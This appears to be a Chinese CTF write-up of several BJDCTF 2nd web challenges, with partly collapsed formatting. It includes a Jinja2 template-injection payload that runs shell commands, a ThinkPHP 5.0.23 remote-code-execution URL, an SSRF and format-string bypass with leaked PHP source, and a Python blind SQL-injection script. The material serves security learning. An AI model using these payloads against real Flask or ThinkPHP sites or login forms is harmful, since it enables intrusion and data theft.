[BJDCTF 2rd]Web_1

假猪套天下第一

两种情况,admin和其他

admin错误,啥也没有
其他也啥也没有,注释有hint

访问一下L0g1n.php


刷新一下


改time


改xff

貌似不行,根据y1ng大佬的说法

使用Client-IP或者X-Real-IP代替XFF即可。

改xff为X-Real-IP


加referer


改user-agent


加from


加via

加了这么多,不一样了

base64


flag{bb1b8527-df81-47d7-a140-60e06b032a18}


fake google


/qaq?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag | base64').read() }}

base64编码一下绕过


flag{5d651799-6632-472a-ab3e-351185016a45}

old-hack


exp

/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=dir


thinkPHPv5.0.23 RCE



flag{d2895794-5b62-4e23-9361-b05677cfbfdb}

?Schrödinger







不明白cookie怎么置空

?文件探测

http://08de81b0-b990-4175-9108-d2f2dcaace44.node3.buuoj.cn/home.php?file=php://filter/convert.base64-encode/resource=system
system.php源码


error_reporting(0);

if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){

    echo "";

    header("Refresh:0.1;url=index.php");

    die;

}

$str2 = '       Error:  url invalid
~$ ';

$str3 = '       Error:  damn hacker!
~$ ';

$str4 = '       Error:  request method error
~$ ';

?>

   

   

   

    File Detector

   

   

   

   

   

       

           

File Detector

           

                   

  1.                    

                       

                   

  2.                

  3.                    

                       

                   

  4.                

  5.                    

                       

                   

  6.            

           

           

               

               

               

               

           

       

       

   

   

@颖奇L'Amore

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';

$filter2 = '/.?f.?l.?a.?g.?/i';

if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {

    $url = $_POST['q2'].".y1ng.txt";

    $method = $_POST['q3'];

    $str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
";

    echo $str1;

    if (!preg_match($filter1, $url) ){

        die($str2);

    }

    if (preg_match($filter2, $url)) {

        die($str3);

    }

    if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {

        die($str4);

    }

    $detect = @file_get_contents($url, false);

    print(sprintf("$url method&content_size:$method%d", $detect));

}

?>

system.php代码审计

需要检测的文件的url必须是http://127.0.0.1/开头,且不能包含flag关键字:

$filter1 ='/^http:\/\/127\.0\.0\.1\//i';$filter2 ='/.?f.?l.?a.?g.?/i';if(!preg_match($filter1, $url) ){die($str2);}if(preg_match($filter2, $url)) {die($str3);}

基本可以肯定,是SSRF相关的题目。

这个url会被在后面拼接上一个y1ng.txt的后缀:

$url = $_POST['q2'].".y1ng.txt";

访问的方法必须是GET或者POST开头,但是没有判断结尾

if(!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {die($str4);}

之后就会进行file_get_contents(),然后格式化输出,但是输出的是%d,也就是个整数,并不能读出来源码:

$detect = @file_get_contents($url,false);print(sprintf("$url method&content_size:$method%d", $detect));

SSRF

因为admin.php只能本地访问,现在提供了file_get_contents()函数,正好可以用它来访问admin.php,但是有2个问题:

url会被拼接上.y1ng.txt

格式化输出的是%d而不是%s

你知道目录下都有什么文件吗:随便填

输入 url: http://127.0.0.1/admin.php?A=

何种方式访问: GET%s% (后面的%用来把%d 的%转义掉)

~$ python fuck.py -u "http://127.0.0.1/admin.php?A=.y1ng.txt" -M GET%s% -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei

http://127.0.0.1/admin.php?A=.y1ng.txt method&content_size:GET

error_reporting

(0);

session_start();

$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)

{

$method = 'AES-128-CBC';

$iv = md5($_SERVER['REMOTE_ADDR'],true);

return

base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));

}

function

Check()

{

if (isset(

$_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))

return

true;

else

return

false;

}

if (

$_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {

highlight_file(__FILE__);

} else {

echo

"403 Forbidden


only 127.0.0.1 can access! You know what I mean right?
your ip address is " . $_SERVER['REMOTE_ADDR'];

}

$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset(

$_GET['decrypt'])) {

$decr = $_GET['decrypt'];

if (

Check()){

$data = $_SESSION['secret'];

include

'flag_2sln2ndln2klnlksnf.php';

$cipher = aesEn($data, 'y1ng');

if (

$decr === $cipher){

echo

WHAT_YOU_WANT;

} else {

die(

'爬');

}

} else{

header("Refresh:0.1;url=index.php");

}

} else {

//I heard you can break PHP mt_rand seed

mt_srand(rand(0,9999999));

$length = mt_rand(40,80);

$_SESSION['secret'] = bin2hex(random_bytes($length));

}

?>%d


不太懂...探索中...

简单注入

fuzz(新学习的工具)

打开之后是个登录框,先fuzz一下,可用符号:

被ban的:

大佬的思路。。。

可以发现:

单引号 双引号都被ban了

union和select都被ban了

=和like被ban了

这3个过滤最难顶,直接限制了大部分思路

SQL语句逃逸单引号

假设sql语句是这样的:

selectusername,passwordfromuserwhereusername='$u'andpassword='$p'

过滤了单引号+没有宽字节,因此构造注入基本已经不太可能,但是没法注入的话这题没法做了。回去再看fuzz结果,发现反斜线没有被ban掉,因此可以用反斜线去将单引号转义,这要就实现了SQL语句逃逸,实现SQL注入

假设输入的用户名是admin\,密码输入的是or 1#整个SQL语句变成了:

select username,password from user where username='admin\' and password='or 1#'

可以看到,由于单引号被转义,and password=这部分都成了username的一部分,or 1就逃逸出来了,因此可以从这里下手进行注入

布尔盲注

这题做了我3个多小时,大部分时间都浪费在了这个登录上面,这里确实有点坑,登录下面写着You konw ,P3rh4ps needs a girl friend,我一直以为那就是个不会变的一句话:

然后打开burp也没全屏,Repeater里直接没看这地方,登录不管怎么登录、怎么构造布尔语句都会提示”用户名错误或不存在”:

后来才知道,原来构造布尔为真时候那个P3rh4ps needs a girl friend会变,我死了

布尔盲注成功

REGEXP注入

但是,虽然能够布尔,依然不能往出注登录密码,对正则分析之后发现可以用正则表达式

另外p3师傅告诉了区分大小写,由于直接regexp匹配在3.23.4版本后是不分大小写的,要加上binary关键字,脚本:

################################# 颖奇L'Amore www.gem-love.com ## 转载请勿删除本水印 #################################import osimport requests as reqdeford2hex(string): result = '' for i in string:

    result += hex(ord(i))

  result = result.replace('0x','')

  return '0x'+result

url = "http://123.57.144.205:2333/"string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789']

headers = {

      'User-Agent':'Mozilla/5.0 (Windows NT 6.2; rv:16.0) Gecko/20100101 Firefox/16.0',

      'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',

      'Connection':'keep-alive'    }

res = ''for i in range(50):

  for j in string:

    passwd = ord2hex('^'+res+chr(j))

    # print(passwd)    passwd = 'or password regexp binary {}#'.format(passwd)

    data = {

      'username':"admin\\",

      'password':passwd

    }

    r = req.post(url, data=data, headers=headers)

    # print(r.text)    if "BJD need" in r.text:

      res += chr(j)

      print(res)

      break


如何写脚本还要磨炼...


elementmaster

右键查看源代码,得到:

BJDCTF's Cute CaricatureI am the real Element Masterrr!!!!!!@颖奇L'Amore

可以看到,这个漫画图片叫mendeleev(门捷列夫),加上说的元素、118、放射性等信息,可以基本猜到这个题和化学、元素周期表等有关系。

在源代码有两行


这时候,发现其他什么东西都没有了,于是就需要想一下:对于web题目,什么地方可以藏flag

大佬的脚本...

################################# 颖奇L'Amore www.gem-love.com ## 转载请勿删除本水印 #################################import osimport requests as req

elements = ('H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',

                  'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',

                  'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',

                  'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',

                  'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',

                  'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',

                  'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue')for symbol in elements:

    link = "http://element-master.bjdctf.y1ng.vip:12309/" + symbol + ".php"    response = req.get(link)

    if response.status_code == 200:

        print(response.text, end='')

    else:

        continue


你可能感兴趣的:([BJDCTF 2rd]Web_1)